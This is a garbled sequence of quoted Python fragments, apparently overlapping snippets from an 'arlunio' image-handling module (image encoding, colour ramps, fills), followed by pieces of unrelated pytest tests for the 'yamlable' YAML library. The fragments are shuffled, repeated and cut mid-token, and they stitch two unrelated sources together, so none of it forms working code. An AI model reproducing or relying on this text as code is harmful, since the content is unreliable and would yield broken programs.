Optional[str]", "image with the given background color.\"\"\" return ast.Node.builtin(name=\"image\", color=color) def", "color.getcolor(foreground, \"RGBA\") if image is None: background = \"#0000\" if", "numpy as np import PIL.Image as PImage import arlunio.ast as", "is only supported between images.\") img = self.copy() img.alpha_composite(other) return", "arlunio.image as image >>> img = image.new((8, 8), color='red') >>>", "mix between the two. Parameters ---------- values: The array of", "as byte_stream: image.save(byte_stream, \"PNG\") image_bytes = byte_stream.getvalue() return base64.b64encode(image_bytes) def", "isinstance(other, Image): return False a = np.asarray(self.img) b = np.asarray(other.img)", "produce an image gradient based on them. .. arlunio-image:: Colorramp", "by the :code:`start` parameter - If the value is :math:`1`", "\"RGBA\") funcs = [math.lerp(a, b) for a, b in zip(start,", "byte_stream.getvalue() return base64.b64encode(image_bytes) def decode(bytestring: bytes) -> Image: \"\"\"Decode the", "parent directories \"\"\" path = pathlib.Path(filename) if not path.parent.exists() and", "None) -> Image: \"\"\"Given a 2d array of values, produce", ":math:`[0, 1]`. It will then produce an image with the", ":math:`1` the color will be given by the :code:`stop` parameter", "representation of an image, implemented as a wrapper around a", "Optional[str] = None, background: Optional[str] = None, image: Optional[Image] =", "np import PIL.Image as PImage import arlunio.ast as ast import", "im = im.img self.img.alpha_composite(im, *args, **kwargs) def copy(self): \"\"\"Return a", "\"\"\"Paste another image into this image. See :meth:`pillow:PIL.Image.Image.paste` \"\"\" self.img.paste(*args,", ":math:`0` the color will be given by the :code:`start` parameter", "as image import arlunio.math as math import numpy as np", "an image, as specified by a mask. Parameters ---------- mask:", "the :code:`stop` parameter - Otherwise the color will be some", "None, stop: Optional[str] = None) -> Image: \"\"\"Given a 2d", "The filepath to save the image to. :param mkdirs: If", "See :meth:`pillow:PIL.Image.Image.alpha_composite` \"\"\" if isinstance(im, Image): im = im.img self.img.alpha_composite(im,", "black. background: In the case where an existing image is", "y \"\"\" # Scale all the values so that they", "image_bytes = byte_stream.getvalue() return base64.b64encode(image_bytes) def decode(bytestring: bytes) -> Image:", "None, ) -> Image: \"\"\"Apply color to an image, as", "def __array_interface__(self): # Ensure that our version of an image", "p[:, :, 1] values = np.sin(2*x*np.pi) * np.sin(2*y* np.pi) img", ":: import arlunio.image as image import arlunio.shape as shape circle", "the image to. :param mkdirs: If true, make any parent", "= color.getcolor(foreground, \"RGBA\") if image is None: background = \"#0000\"", "\"\"\"Decode the image represented by the given bytestring into an", "funcs = [math.lerp(a, b) for a, b in zip(start, stop)]", "\"\"\" self.img.thumbnail(*args, **kwargs) def new(color) -> Image: \"\"\"Creates a new", "provided this parameter can be used to set the background", "format that is supported by the :mod:`pillow:PIL.ImageColor` module. If omitted", "y = p[:, :, 0], p[:, :, 1] values =", "logging.getLogger(__name__) class Image: \"\"\"Our representation of an image, implemented as", "image: The image to encode. Example ------- :: >>> import", "values near :math:`1` (default, :code:`white`) Examples -------- .. arlunio-image:: Colorramp", "will be some mix between the two. Parameters ---------- values:", "of the generated image. This can be any string that", "The image to color in, if omitted a blank image", "vs = np.array(values) - minx vs = vs / np.max(vs)", "\"RGBA\") stop = color.getcolor(stop, \"RGBA\") funcs = [math.lerp(a, b) for", "\"\"\"Load an image from the given file. See :func:`pillow:PIL.Image.open` \"\"\"", "be some mix between the two. Parameters ---------- values: The", "bytes_ = io.BytesIO(data) return Image(load(bytes_)) def colorramp(values, start: Optional[str] =", "with the same dimensions as the original array. The color", "standard Pillow image.\"\"\" def __init__(self, img: PImage.Image): self.img = img", "Image): other = other.img if not isinstance(other, PImage.Image): raise TypeError(\"Addition", "image. This can be any string that is accepted by", "\"\"\" return Image(PImage.fromarray(*args, **kwargs)) def load(*args, **kwargs) -> Image: \"\"\"Load", "def alpha_composite(self, im, *args, **kwargs): \"\"\"Composites an image onto this", "with numpy. return self.img.__array_interface__ def _repr_png_(self): # Give nice previews", "= image.colorramp(p[:, :, 0], start=\"#0000\", stop=\"#f007\") y = image.colorramp(p[:, :,", "the color will be given by the :code:`stop` parameter -", "-> Image: \"\"\"Load an image from the given file. See", "image.new((8, 8), color='red') >>> image.encode(img) b'iVBORw0KGgoAAAANSUhEUgAAAAgAAAAICAYAAADED76LAAAAFklEQVR4nGP8z8DwnwEPYMInOXwUAAASWwIOH0pJXQAAAABJRU5ErkJggg==' \"\"\" with io.BytesIO() as", "PImage import arlunio.ast as ast import arlunio.color as color import", "format. :param filename: The filepath to save the image to.", ":func:`pillow:PIL.Image.fromarray` \"\"\" return Image(PImage.fromarray(*args, **kwargs)) def load(*args, **kwargs) -> Image:", "the two. Parameters ---------- values: The array of values used", "\"\"\" with io.BytesIO() as byte_stream: image.save(byte_stream, \"PNG\") image_bytes = byte_stream.getvalue()", "= im.img self.img.alpha_composite(im, *args, **kwargs) def copy(self): \"\"\"Return a copy", "img = x + y \"\"\" # Scale all the", "parameter - If the value is :math:`1` the color will", "arlunio.image as image import arlunio.shape as shape circle = shape.Circle(x0=-0.5,", "np.max(vs) if start is None: start = \"black\" if stop", "Image: \"\"\"Our representation of an image, implemented as a wrapper", "coloured foreground: A string representation of the color to use,", "False a = np.asarray(self.img) b = np.asarray(other.img) return (a ==", "@property def size(self): return self.img.size def alpha_composite(self, im, *args, **kwargs):", "str, mkdirs: bool = False) -> None: \"\"\"Save an image", "module. If omitted this will default to black. background: In", "new(color=background) if not isinstance(region, ast.Node): region = region() return ast.Node.fill(image,", "in zip(start, stop)] channels = [np.floor(func(vs)) for func in funcs]", "base64.b64encode(image_bytes) def decode(bytestring: bytes) -> Image: \"\"\"Decode the image represented", "as f: image.save(f) def encode(image: Image) -> bytes: \"\"\"Return the", "See :meth:`pillow:PIL.Image.Image.thumbnail` \"\"\" self.img.thumbnail(*args, **kwargs) def new(color) -> Image: \"\"\"Creates", "vs = vs / np.max(vs) if start is None: start", "by the :code:`stop` parameter - Otherwise the color will be", "scaled array. - If the value is :math:`0` the color", "PNG format. :param filename: The filepath to save the image", "chosen based on the corresponding value of the scaled array.", "= \"#000\" if foreground is None else foreground fill_color =", ":code:`start` parameter - If the value is :math:`1` the color", "object.\"\"\" def __eq__(self, other): if not isinstance(other, Image): return False", "image.colorramp(p[:, :, 0], start=\"#0000\", stop=\"#f007\") y = image.colorramp(p[:, :, 1],", "for func in funcs] pixels = np.array(np.dstack(channels), dtype=np.uint8) return fromarray(pixels)", "\"\"\"Save the image with the given filename. See :meth:`pillow:PIL.Image.Image.save` \"\"\"", "img \"\"\"The wrapped pillow image object.\"\"\" def __eq__(self, other): if", "= base64.b64decode(bytestring) bytes_ = io.BytesIO(data) return Image(load(bytes_)) def colorramp(values, start:", "used to set the background color of the generated image.", "import arlunio.math as math import numpy as np cartesian =", "be any string that is accepted by the :mod:`pillow:PIL.ImageColor` module.", "self.img = img \"\"\"The wrapped pillow image object.\"\"\" def __eq__(self,", "this will default to black. background: In the case where", "the case where an existing image is not provided this", "as specified by a mask. Parameters ---------- mask: The mask", "__future__ import annotations import base64 import io import logging import", "given filename. See :meth:`pillow:PIL.Image.Image.save` \"\"\" self.img.save(*args, **kwargs) def thumbnail(self, *args,", "\"\"\"Creates a new image with the given background color.\"\"\" return", "that they fall into the range [0, 1] minx =", "-> Image: \"\"\"Creates a new image with the given background", "the color to use, this can be in any format", "should be contained in the numpy backend. import numpy as", "other): if not isinstance(other, Image): return False a = np.asarray(self.img)", "return Image(load(bytes_)) def colorramp(values, start: Optional[str] = None, stop: Optional[str]", "be given by the :code:`start` parameter - If the value", "use, this can be in any format that is supported", ":: import arlunio.image as image bytestring = b'iVBORw0KGgoAAAANSUhEUgAAAAgAAAAICAYAAADED76LAAAAFklEQVR4nGP8z8DwnwEPYMInOXwUAAASWwIOH0pJXQAAAABJRU5ErkJggg==' # noqa:", "\"\"\"Return a copy of the image. See :meth:`pillow:PIL.Image.Image.copy` \"\"\" return", "else background image = new(color=background) if not isinstance(region, ast.Node): region", "in PNG format. :param filename: The filepath to save the", "an image also plays nice with numpy. return self.img.__array_interface__ def", "color to use for values near :math:`1` (default, :code:`white`) Examples", "they fall into the range [0, 1] minx = np.min(values)", "**kwargs)) def save(image: Image, filename: str, mkdirs: bool = False)", "Remove these, as they should be contained in the numpy", "arlunio-image:: Colorramp Demo :align: right :: import arlunio.image as image", "bool = False) -> None: \"\"\"Save an image in PNG", "= [np.floor(func(vs)) for func in funcs] pixels = np.array(np.dstack(channels), dtype=np.uint8)", "np.array(np.dstack(channels), dtype=np.uint8) return fromarray(pixels) def fill( region, foreground: Optional[str] =", "color in, if omitted a blank image will be used.", "image from an array See :func:`pillow:PIL.Image.fromarray` \"\"\" return Image(PImage.fromarray(*args, **kwargs))", "= None, image: Optional[Image] = None, ) -> Image: \"\"\"Apply", "bytes) -> Image: \"\"\"Decode the image represented by the given", "image to color in, if omitted a blank image will", "fall in the range :math:`[0, 1]`. It will then produce", "image, implemented as a wrapper around a standard Pillow image.\"\"\"", "Parameters ---------- mask: The mask that selects the region to", "isinstance(other, Image): other = other.img if not isinstance(other, PImage.Image): raise", "images.\") img = self.copy() img.alpha_composite(other) return img @property def __array_interface__(self):", "# Ensure that our version of an image also plays", "= vs / np.max(vs) if start is None: start =", "img = image.fill(circle(width=512, height=256), foreground='red') circle.x0, circle.y0 = 0, 0", "Scale all the values so that they fall into the", "None: background = \"#0000\" if background is None else background", "an image gradient based on them. .. arlunio-image:: Colorramp Demo", "\"\"\"Apply color to an image, as specified by a mask.", "minx = np.min(values) vs = np.array(values) - minx vs =", "The bytestring to decode. Example ------- .. arlunio-image:: Decode Example", "# noqa: E501 img = image.decode(bytestring) \"\"\" data = base64.b64decode(bytestring)", "existing image is not provided this parameter can be used", "image gradient based on them. .. arlunio-image:: Colorramp Demo :align:", "the generated image. This can be any string that is", "true, make any parent directories \"\"\" path = pathlib.Path(filename) if", "generated image. This can be any string that is accepted", "with open(filename, \"wb\") as f: image.save(f) def encode(image: Image) ->", "is :math:`0` the color will be given by the :code:`start`", "import arlunio.image as image import arlunio.math as math import numpy", ":align: right :: import arlunio.image as image import arlunio.math as", "Image(PImage.fromarray(*args, **kwargs)) def load(*args, **kwargs) -> Image: \"\"\"Load an image", "The array of values used to decide on the color.", "\"\"\"Given a 2d array of values, produce an image gradient", "**kwargs) def new(color) -> Image: \"\"\"Creates a new image with", "bytestring: The bytestring to decode. Example ------- .. arlunio-image:: Decode", "1]`. It will then produce an image with the same", "1], start=\"#0000\", stop=\"#00f7\") img = x + y \"\"\" #", "values near :math:`0` (default, :code:`black`) stop: The color to use", "an existing image is not provided this parameter can be", "version of an image also plays nice with numpy. return", "\"\"\" path = pathlib.Path(filename) if not path.parent.exists() and mkdirs: path.parent.mkdir(parents=True)", ":, 0], start=\"#0000\", stop=\"#f007\") y = image.colorramp(p[:, :, 1], start=\"#0000\",", "if stop is None: stop = \"white\" start = color.getcolor(start,", "open(filename, \"wb\") as f: image.save(f) def encode(image: Image) -> bytes:", "transparent image: The image to color in, if omitted a", "if start is None: start = \"black\" if stop is", "the color will be given by the :code:`start` parameter -", "to use for values near :math:`1` (default, :code:`white`) Examples --------", "img.alpha_composite(other) return img @property def __array_interface__(self): # Ensure that our", "Image(load(bytes_)) def colorramp(values, start: Optional[str] = None, stop: Optional[str] =", "0 img = image.fill(circle(width=512, height=256), foreground='#0f0', image=img) circle.x0, circle.y0 =", "paste(self, *args, **kwargs): \"\"\"Paste another image into this image. See", "can be in any format that is supported by the", ".. arlunio-image:: Decode Example :include-code: :: import arlunio.image as image", "self.img._repr_png_() @property def size(self): return self.img.size def alpha_composite(self, im, *args,", "as np import PIL.Image as PImage import arlunio.ast as ast", "pillow image object.\"\"\" def __eq__(self, other): if not isinstance(other, Image):", "---------- mask: The mask that selects the region to be", "this will default to transparent image: The image to color", "dtype=np.uint8) return fromarray(pixels) def fill( region, foreground: Optional[str] = None,", "if isinstance(im, Image): im = im.img self.img.alpha_composite(im, *args, **kwargs) def", "of values used to decide on the color. start: The", "be contained in the numpy backend. import numpy as np", "If omitted this will default to transparent image: The image", "for values near :math:`1` (default, :code:`white`) Examples -------- .. arlunio-image::", "= image.new((8, 8), color='red') >>> image.encode(img) b'iVBORw0KGgoAAAANSUhEUgAAAAgAAAAICAYAAADED76LAAAAFklEQVR4nGP8z8DwnwEPYMInOXwUAAASWwIOH0pJXQAAAABJRU5ErkJggg==' \"\"\" with io.BytesIO()", "= other.img if not isinstance(other, PImage.Image): raise TypeError(\"Addition is only", "= p[:, :, 0], p[:, :, 1] values = np.sin(2*x*np.pi)", "image also plays nice with numpy. return self.img.__array_interface__ def _repr_png_(self):", "given bytestring into an image object. Parameters ---------- bytestring: The", "mkdirs: If true, make any parent directories \"\"\" path =", "into an image object. Parameters ---------- bytestring: The bytestring to", "Image: \"\"\"Given a 2d array of values, produce an image", "will scale the input array so that all values fall", "scale the input array so that all values fall in", "image into a thumbail. See :meth:`pillow:PIL.Image.Image.thumbnail` \"\"\" self.img.thumbnail(*args, **kwargs) def", "If omitted this will default to black. background: In the", "that our version of an image also plays nice with", "image import arlunio.shape as shape circle = shape.Circle(x0=-0.5, y0=0.25, r=0.6)", "Give nice previews in jupyter notebooks return self.img._repr_png_() @property def", "of the image. See :meth:`pillow:PIL.Image.Image.copy` \"\"\" return Image(self.img.copy()) def paste(self,", "region to be coloured foreground: A string representation of the", "start: The color to use for values near :math:`0` (default,", "in, if omitted a blank image will be used. Example", "E501 img = image.decode(bytestring) \"\"\" data = base64.b64decode(bytestring) bytes_ =", "image.save(byte_stream, \"PNG\") image_bytes = byte_stream.getvalue() return base64.b64encode(image_bytes) def decode(bytestring: bytes)", "from typing import Optional # TODO: Remove these, as they", "\"black\" if stop is None: stop = \"white\" start =", "encode. Example ------- :: >>> import arlunio.image as image >>>", "Example -------- .. arlunio-image:: Fill Demo :include-code: :: import arlunio.image", "in the range :math:`[0, 1]`. It will then produce an", "of the color to use, this can be in any", "mask: The mask that selects the region to be coloured", "height=256), foreground='red') circle.x0, circle.y0 = 0, 0 img = image.fill(circle(width=512,", "if not isinstance(other, PImage.Image): raise TypeError(\"Addition is only supported between", "\"\"\"Composites an image onto this image. See :meth:`pillow:PIL.Image.Image.alpha_composite` \"\"\" if", "as image import arlunio.shape as shape circle = shape.Circle(x0=-0.5, y0=0.25,", "background = \"#0000\" if background is None else background image", "It will then produce an image with the same dimensions", "1] values = np.sin(2*x*np.pi) * np.sin(2*y* np.pi) img = image.colorramp(values)", "be used. Example -------- .. arlunio-image:: Fill Demo :include-code: ::", "Image: \"\"\"Apply color to an image, as specified by a", "is None: start = \"black\" if stop is None: stop", "@property def __array_interface__(self): # Ensure that our version of an", "import numpy as np import PIL.Image as PImage import arlunio.ast", "circle = shape.Circle(x0=-0.5, y0=0.25, r=0.6) img = image.fill(circle(width=512, height=256), foreground='red')", "image.\"\"\" def __init__(self, img: PImage.Image): self.img = img \"\"\"The wrapped", "See :func:`pillow:PIL.Image.open` \"\"\" return Image(PImage.open(*args, **kwargs)) def save(image: Image, filename:", "array. The color of each pixel will be chosen based", "array. - If the value is :math:`0` the color will", ".. arlunio-image:: Colorramp Demo :align: right :: import arlunio.image as", "\"#0000\" if background is None else background image = new(color=background)", "None: \"\"\"Save an image in PNG format. :param filename: The", "to black. background: In the case where an existing image", "wrapped pillow image object.\"\"\" def __eq__(self, other): if not isinstance(other,", "foreground fill_color = color.getcolor(foreground, \"RGBA\") if image is None: background", "another image into this image. See :meth:`pillow:PIL.Image.Image.paste` \"\"\" self.img.paste(*args, **kwargs)", "---------- bytestring: The bytestring to decode. Example ------- .. arlunio-image::", "into the range [0, 1] minx = np.min(values) vs =", "This can be any string that is accepted by the", "used. Example -------- .. arlunio-image:: Fill Demo :include-code: :: import", "fromarray(*args, **kwargs): \"\"\"Create an image from an array See :func:`pillow:PIL.Image.fromarray`", "foreground='blue', image=img) \"\"\" foreground = \"#000\" if foreground is None", "def fill( region, foreground: Optional[str] = None, background: Optional[str] =", "(default, :code:`black`) stop: The color to use for values near", "arlunio.math as math logger = logging.getLogger(__name__) class Image: \"\"\"Our representation", "return (a == b).all() def __add__(self, other): if isinstance(other, Image):", "color of each pixel will be chosen based on the", "image object. Parameters ---------- bytestring: The bytestring to decode. Example", "arlunio-image:: Decode Example :include-code: :: import arlunio.image as image bytestring", "nice previews in jupyter notebooks return self.img._repr_png_() @property def size(self):", "1] minx = np.min(values) vs = np.array(values) - minx vs", "x, y = p[:, :, 0], p[:, :, 1] values", "import pathlib from typing import Optional # TODO: Remove these,", "an array See :func:`pillow:PIL.Image.fromarray` \"\"\" return Image(PImage.fromarray(*args, **kwargs)) def load(*args,", "\"\"\" if isinstance(im, Image): im = im.img self.img.alpha_composite(im, *args, **kwargs)", "that selects the region to be coloured foreground: A string", "- If the value is :math:`0` the color will be", "given by the :code:`start` parameter - If the value is", "the :code:`start` parameter - If the value is :math:`1` the", "\"white\" start = color.getcolor(start, \"RGBA\") stop = color.getcolor(stop, \"RGBA\") funcs", "\"PNG\") image_bytes = byte_stream.getvalue() return base64.b64encode(image_bytes) def decode(bytestring: bytes) ->", "jupyter notebooks return self.img._repr_png_() @property def size(self): return self.img.size def", "a thumbail. See :meth:`pillow:PIL.Image.Image.thumbnail` \"\"\" self.img.thumbnail(*args, **kwargs) def new(color) ->", "stop is None: stop = \"white\" start = color.getcolor(start, \"RGBA\")", "In the case where an existing image is not provided", "the corresponding value of the scaled array. - If the", "any parent directories \"\"\" path = pathlib.Path(filename) if not path.parent.exists()", "stop)] channels = [np.floor(func(vs)) for func in funcs] pixels =", "of an image also plays nice with numpy. return self.img.__array_interface__", "near :math:`1` (default, :code:`white`) Examples -------- .. arlunio-image:: Colorramp Demo", "A string representation of the color to use, this can", "def __add__(self, other): if isinstance(other, Image): other = other.img if", "that all values fall in the range :math:`[0, 1]`. It", "import PIL.Image as PImage import arlunio.ast as ast import arlunio.color", "range [0, 1] minx = np.min(values) vs = np.array(values) -", "values: The array of values used to decide on the", "im.img self.img.alpha_composite(im, *args, **kwargs) def copy(self): \"\"\"Return a copy of", "a wrapper around a standard Pillow image.\"\"\" def __init__(self, img:", "= logging.getLogger(__name__) class Image: \"\"\"Our representation of an image, implemented", "encoded as a base64 string. Parameters ---------- image: The image" ]
[ "enc, dec = False, False @yaml_info(yaml_tag_ns='yaml.tests') class FooLegacy(YamlAble): # __yaml_tag_suffix__", "e.dumps_yaml() def test_abstract_parent(): \"\"\"This tests that we can define an", "return vars(self) == vars(other) # instantiate f = FooValid(1, 'hello')", "(StringIO is one) StringIO.close(self) s = MemorizingStringIO() f.dump_yaml(s, default_flow_style=False) assert", "load io assert f == FooValid.load_yaml(StringIO(y)) # load pyyaml assert", "not work with python 2 old-style classes (StringIO is one)", "return FooLegacy(**dct) # instantiate f = FooLegacy(1, 'hello') # dump", "return false return False with pytest.raises(TypeError) as err_info: Foo_Err.loads_yaml(\"!yamlable/yaml.tests.Foo_Err {a:", "f.dumps_yaml() assert \"does not seem to have a non-None '__yaml_tag_suffix__'", "io import StringIO try: # python 3.5+ from typing import", "Foo(**dct) # instantiate f = Foo() # dump f.dumps_yaml() assert", "inherit it\"\"\" class AbstractFooV(YamlAble): pass @yaml_info(yaml_tag_ns='yaml.tests') class FooValid(AbstractFooV): def __init__(self,", "not provided a YamlAble subclass cannot be declared \"\"\" with", "f.dumps_yaml(default_flow_style=False) assert y == \"\"\"!yamlable/yaml.tests.FooValid a: 1 b: hello \"\"\"", "def __from_yaml_dict__(cls, # type: Type[Y] dct, # type: Dict[str, Any]", "# type: (...) -> Y global dec dec = True", "note: # dump y = f.dumps_yaml(default_flow_style=False) assert y == \"\"\"!yamlable/yaml.tests.FooValid", "to have a non-None '__yaml_tag_suffix__' field\" in str(err_info.value) def test_yamlable():", "\"\"\"!yamlable/yaml.tests.FooValid a: 1 b: hello \"\"\" # dump io class", "instantiate f = Foo() # dump f.dumps_yaml() assert \"does not", "str ): # type: (...) -> bool # ALWAYS return", "this does not work with python 2 old-style classes (StringIO", "enc global dec enc, dec = False, False @yaml_info(yaml_tag_ns='yaml.tests') class", "pass class FooError(AbstractFooE): \"\"\" This class inherits from the parent", "class with the YamlAble behaviour and inherit it\"\"\" class AbstractFooV(YamlAble):", "a yaml tag \"\"\" def __init__(self, a, b): self.a =", "StringIO # create a variant that can serve as a", "type: (...) -> Y return Foo_Err(**dct) @classmethod def is_yaml_tag_supported(cls, yaml_tag", "return Foo_Err(**dct) @classmethod def is_yaml_tag_supported(cls, yaml_tag # type: str ):", "assert Foo().dumps_yaml() == \"\"\"!yamlable/com.example.Foo {} \"\"\" def test_abstract_parent_error(): \"\"\"This tests", "{} \"\"\" def test_abstract_parent_error(): \"\"\"This tests that we can define", "= a self.b = b def __eq__(self, other): return vars(self)", "__yaml_tag_suffix__ is not provided a YamlAble subclass cannot be declared", "== vars(other) # instantiate f = FooValid(1, 'hello') # note:", "class AbstractFooV(YamlAble): pass @yaml_info(yaml_tag_ns='yaml.tests') class FooValid(AbstractFooV): def __init__(self, a, b):", "load from yamlable import YamlAble, yaml_info def test_yamlable_incomplete_description(): \"\"\" Tests", "== Foo.loads_yaml(y) # load io assert f == Foo.load_yaml(StringIO(y)) #", "# create a variant that can serve as a context", "def __eq__(self, other): return vars(self) == vars(other) def __to_yaml_dict__(self): #", "pyyaml assert f == load(y) def test_yamlable_legacy_method_names(): \"\"\" Tests that", "str(err_info.value) def test_yamlable_default_impl(): \"\"\" tests that the default implementation works", "have a non-None '__yaml_tag_suffix__' field\" in str(err_info.value) def test_yamlable(): \"\"\"", "a YamlAble subclass cannot be declared \"\"\" with pytest.raises(NotImplementedError) as", "dump(f, default_flow_style=False) == s assert dump(load(dump(load(s))), default_flow_style=False) == s def", "is closed (as opposed to the standard StringIO) \"\"\" def", "Dict[str, Any] return copy(vars(self)) @classmethod def __from_yaml_dict__(cls, # type: Type[Y]", "try: # python 3.5+ from typing import Dict, Any from", "assert dump(f, default_flow_style=False) == s assert dump(load(dump(load(s))), default_flow_style=False) == s", "b def __eq__(self, other): return vars(self) == vars(other) def to_yaml_dict(self):", "YamlAble behaviour and inherit it\"\"\" class AbstractFooV(YamlAble): pass @yaml_info(yaml_tag_ns='yaml.tests') class", "\"\"\" def __init__(self, a, b): self.a = a self.b =", "subclass found able to decode object\" in str(err_info.value) def test_yamlable_default_impl():", "assert Foo.__yaml_tag_suffix__ == \"com.example.MyFoo\" @yaml_info(yaml_tag_ns=\"com.example\") class Foo(YamlAble): pass assert Foo.__yaml_tag_suffix__", "3.5+ from typing import Dict, Any from yamlable import Y", "found able to decode object\" in str(err_info.value) def test_yamlable_default_impl(): \"\"\"", "FooValid(AbstractFooV): def __init__(self, a, b): self.a = a self.b =", "A StringIO object that memorizes its buffer when it is", "# this does not work with python 2 old-style classes", "False, False @yaml_info(yaml_tag_ns='yaml.tests') class FooLegacy(YamlAble): # __yaml_tag_suffix__ = 'foo' not", "= self.getvalue() # super(StringIO, self).close() # this does not work", "f = FooLegacy(1, 'hello') # dump y = f.dumps_yaml(default_flow_style=False) assert", "\"\"\" @yaml_info(yaml_tag_ns='yaml.tests') class Foo_Default(YamlAble): def __init__(self, a, b): self.a =", "enc assert dec # TODO override so that tag is", "assert f == FooValid.loads_yaml(y) # load io assert f ==", "1 b: hello \"\"\" # dump io class MemorizingStringIO(StringIO): \"\"\"", "parent class with the YamlAble behaviour and inherit it\"\"\" class", "instantiate f = FooValid(1, 'hello') # note: # dump y", "traceback): self.close() except ImportError: from io import StringIO try: #", "2 only: from StringIO import StringIO # create a variant", "Any] return copy(vars(self)) @classmethod def __from_yaml_dict__(cls, # type: Type[Y] dct,", "def __init__(self, a, b): self.a = a self.b = b", "it\"\"\" class AbstractFooE(YamlAble): pass class FooError(AbstractFooE): \"\"\" This class inherits", "# load pyyaml assert f == load(y) def test_yamlable_legacy_method_names(): \"\"\"", "-> Y return Foo(**dct) # instantiate f = Foo() #", "# super(StringIO, self).close() # this does not work with python", "def __to_yaml_dict__(self): # type: (...) -> Dict[str, Any] return copy(vars(self))", "# type: str ): # type: (...) -> Y global", "global dec dec = True return FooLegacy(**dct) # instantiate f", "default_flow_style=False) == s def test_help_yaml_info(): @yaml_info(\"com.example.MyFoo\") class Foo(YamlAble): pass assert", "vars(other) def to_yaml_dict(self): # type: (...) -> Dict[str, Any] global", "type: str ): # type: (...) -> Y return Foo_Err(**dct)", "@classmethod def __from_yaml_dict__(cls, # type: Type[Y] dct, # type: Dict[str,", "so that tag is not supported, to check error message", "@yaml_info(yaml_tag_ns='yaml.tests') class FooValid(AbstractFooV): def __init__(self, a, b): self.a = a", "# ALWAYS return false return False with pytest.raises(TypeError) as err_info:", "(...) -> bool # ALWAYS return false return False with", "default_flow_style=False) == y # load assert f == FooLegacy.loads_yaml(y) #", "# type: str ): # type: (...) -> bool #", "= FooValid(1, 'hello') # note: # dump y = f.dumps_yaml(default_flow_style=False)", "b): self.a = a self.b = b def __eq__(self, other):", "from yamlable import Y except ImportError: pass import pytest from", "as err_info: Foo_Err.loads_yaml(\"!yamlable/yaml.tests.Foo_Err {a: 1, b: hello}\\n\") assert \"No YamlAble", "= b def __eq__(self, other): return vars(self) == vars(other) #", "# load io assert f == FooLegacy.load_yaml(StringIO(y)) # load pyyaml", "a self.b = b def __eq__(self, other): return vars(self) ==", "self).close() # this does not work with python 2 old-style", "= \"\"\"!yamlable/yaml.tests.Foo_Default a: 1 b: hello \"\"\" assert dump(f, default_flow_style=False)", "y = f.dumps_yaml(default_flow_style=False) assert y == \"\"\"!yamlable/yaml.tests.Foo a: 1 b:", "dump(f, default_flow_style=False) == y # load assert f == FooLegacy.loads_yaml(y)", "class Foo(YamlAble): # __yaml_tag_suffix__ = 'foo' def __to_yaml_dict__(self): # type:", "class MemorizingStringIO(StringIO): \"\"\" A StringIO object that memorizes its buffer", "assert s.value == y # dump pyyaml assert dump(f, default_flow_style=False)", "class AbstractFooE(YamlAble): pass class FooError(AbstractFooE): \"\"\" This class inherits from", "f.dump_yaml(s, default_flow_style=False) assert s.value == y # dump pyyaml assert", "__to_yaml_dict__(self): # type: (...) -> Dict[str, Any] return copy(vars(self)) @classmethod", "y # load assert f == FooLegacy.loads_yaml(y) # load io", "str ): # type: (...) -> Y global dec dec", "class with the YamlAble behaviour and inherit it\"\"\" class AbstractFooE(YamlAble):", "\"\"\" A StringIO object that memorizes its buffer when it", "vars(self) == vars(other) # instantiate f = FooValid(1, 'hello') #", "type: (...) -> Dict[str, Any] return copy(vars(self)) @classmethod def __from_yaml_dict__(cls,", "1 b: hello \"\"\" assert dump(f, default_flow_style=False) == s assert", "dct, # type: Dict[str, Any] yaml_tag # type: str ):", "'foo' not needed: we used @yaml_info def __init__(self, a, b):", "y == \"\"\"!yamlable/yaml.tests.FooValid a: 1 b: hello \"\"\" # dump", "be declared \"\"\" with pytest.raises(NotImplementedError) as err_info: class Foo(YamlAble): #", "exception_type, exception_value, traceback): self.close() except ImportError: from io import StringIO", "== load(y) def test_yamlable_legacy_method_names(): \"\"\" Tests that YamlAbleMixIn works correctly", "io assert f == FooLegacy.load_yaml(StringIO(y)) # load pyyaml assert f", "default_flow_style=False) == y # load assert f == FooValid.loads_yaml(y) #", "def test_yamlable_not_supported(): @yaml_info(yaml_tag_ns='yaml.tests') class Foo_Err(YamlAble): # __yaml_tag_suffix__ = 'foo' not", "Foo_Default(1, 'hello') s = \"\"\"!yamlable/yaml.tests.Foo_Default a: 1 b: hello \"\"\"", "type: (...) -> Y global dec dec = True return", "class Foo(YamlAble): # __yaml_tag_suffix__ = 'foo' not needed: we used", "type: str ): # type: (...) -> bool # ALWAYS", "def test_abstract_parent_error(): \"\"\"This tests that we can define an abstract", "one) StringIO.close(self) s = MemorizingStringIO() f.dump_yaml(s, default_flow_style=False) assert s.value ==", "type: (...) -> Dict[str, Any] global enc enc = True", "def __eq__(self, other): return vars(self) == vars(other) # instantiate e", "error message def test_yamlable_not_supported(): @yaml_info(yaml_tag_ns='yaml.tests') class Foo_Err(YamlAble): # __yaml_tag_suffix__ =", "to decode object\" in str(err_info.value) def test_yamlable_default_impl(): \"\"\" tests that", "dump io class MemorizingStringIO(StringIO): \"\"\" A StringIO object that memorizes", "def close(self): self.value = self.getvalue() # super(StringIO, self).close() # this", "Foo_Err(YamlAble): # __yaml_tag_suffix__ = 'foo' not needed: we used @yaml_info", "err_info: Foo_Err.loads_yaml(\"!yamlable/yaml.tests.Foo_Err {a: 1, b: hello}\\n\") assert \"No YamlAble subclass", "s assert dump(load(dump(load(s))), default_flow_style=False) == s def test_help_yaml_info(): @yaml_info(\"com.example.MyFoo\") class", "\"No YamlAble subclass found able to decode object\" in str(err_info.value)", "if __yaml_tag_suffix__ is not provided a YamlAble subclass cannot be", "f = Foo() # dump f.dumps_yaml() assert \"does not seem", "StringIO.close(self) s = MemorizingStringIO() f.dump_yaml(s, default_flow_style=False) assert s.value == y", "a, b): self.a = a self.b = b def __eq__(self,", "(...) -> Y return Foo(**dct) # instantiate f = Foo(1,", "b def __eq__(self, other): return vars(self) == vars(other) # instantiate", "'hello') # note: # dump y = f.dumps_yaml(default_flow_style=False) assert y", "except ImportError: from io import StringIO try: # python 3.5+", "== Foo.load_yaml(StringIO(y)) # load pyyaml assert f == load(y) def", "test_help_yaml_info(): @yaml_info(\"com.example.MyFoo\") class Foo(YamlAble): pass assert Foo.__yaml_tag_suffix__ == \"com.example.MyFoo\" @yaml_info(yaml_tag_ns=\"com.example\")", "== y # load assert f == Foo.loads_yaml(y) # load", "f == Foo.load_yaml(StringIO(y)) # load pyyaml assert f == load(y)", "test_yamlable_legacy_method_names(): \"\"\" Tests that YamlAbleMixIn works correctly \"\"\" global enc", "# type: Type[Y] dct, # type: Dict[str, Any] yaml_tag #", "Tests that if __yaml_tag_suffix__ is not provided a YamlAble subclass", 